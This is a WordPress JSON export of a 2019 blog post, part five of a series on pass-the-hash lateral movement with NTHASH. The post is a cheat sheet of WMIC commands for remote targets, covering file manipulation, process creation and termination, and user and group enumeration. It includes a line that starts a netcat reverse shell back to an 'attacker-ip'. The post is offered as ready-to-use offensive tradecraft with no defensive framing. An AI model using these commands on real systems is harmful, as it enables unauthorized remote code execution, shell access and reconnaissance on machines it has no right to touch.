{"id":2190,"date":"2019-10-29T09:46:08","date_gmt":"2019-10-29T08:46:08","guid":{"rendered":"http:\/\/labalec.fr\/erwan\/?p=2190"},"modified":"2019-10-29T12:40:32","modified_gmt":"2019-10-29T11:40:32","slug":"demonstrating-pth-lateral-movement-with-nthash-part-5","status":"publish","type":"post","link":"https:\/\/labalec.fr\/erwan\/?p=2190","title":{"rendered":"Demonstrating lateral movement with NTHASH Part #5"},"content":{"rendered":"<p>In previous <a href=\"https:\/\/labalec.fr\/erwan\/?p=2182\" rel=\"noopener\" target=\"_blank\">article<\/a>, we have introduced the used of WMIC in a \u00ab\u00a0pass the hash\u00a0\u00bb shell.<\/p>\n<p>See below a list of useful wmic commands of gathered around the internet:<\/p>\n<p>rem remember impersonate is ok but delegate is not<\/p>\n<p>rem become familiar with the available aliases<br \/>\nwmic alias list brief<br \/>\nrem see the available methods for any class<br \/>\nwmic [class] call \/?<\/p>\n<p>rem file stuff<br \/>\nwmic \/node:target DATAFILE where \u00ab\u00a0drive=&rsquo;c:&rsquo; AND path=&rsquo;\\\\windows\\\\'\u00a0\u00bb GET Name,readable,size<br \/>\nwmic \/node:target datafile \u00ab\u00a0c:\\\\temp\\\\test.txt\u00a0\u00bb call rename c:\\temp\\abc.txt<br \/>\nwmic \/node:target datafile \u00ab\u00a0c:\\\\temp\\\\test.txt\u00a0\u00bb call copy c:\\temp\\abc.txt<\/p>\n<p>rem process stuff<br \/>\nwmic \/node:target process call create \u00ab\u00a0nc attacker-ip 9000 -e cmd.exe\u00a0\u00bb<br \/>\nwmic \/node:target process call create \u00ab\u00a0cmd.exe \/c echo test > c:\\temp\\test.txt\u00a0\u00bb<br \/>\nwmic \/node:target process where name=\u00a0\u00bbexplorer.exe\u00a0\u00bb call terminate<br \/>\nwmic \/node:target process where processid=\u00a0\u00bb1234&Prime; call terminate<br \/>\nwmic \/node:target process get name, processid<\/p>\n<p>rem users and groups stuff<br \/>\nWMIC \/node:target USERACCOUNT LIST brief<br \/>\nwmic \/node:target path Win32_GroupUser<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In previous article, we have introduced the used of WMIC in a \u00ab\u00a0pass the hash\u00a0\u00bb shell. See below a list of useful wmic commands of gathered around the internet: rem remember impersonate is ok but delegate is not rem become familiar with the available aliases wmic alias list brief rem see the available methods for <a href='https:\/\/labalec.fr\/erwan\/?p=2190' class='excerpt-more'>[&#8230;]<\/a><\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[118],"tags":[],"class_list":["post-2190","post","type-post","status-publish","format-standard","hentry","category-nthash","category-118-id","post-seq-1","post-parity-odd","meta-position-corners","fix"],"_links":{"self":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2190","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2190"}],"version-history":[{"count":2,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2190\/revisions"}],"predecessor-version":[{"id":2204,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=\/wp\/v2\/posts\/2190\/revisions\/2204"}],"wp:attachment":[{"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2190"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2190"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/labalec.fr\/erwan\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2190"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}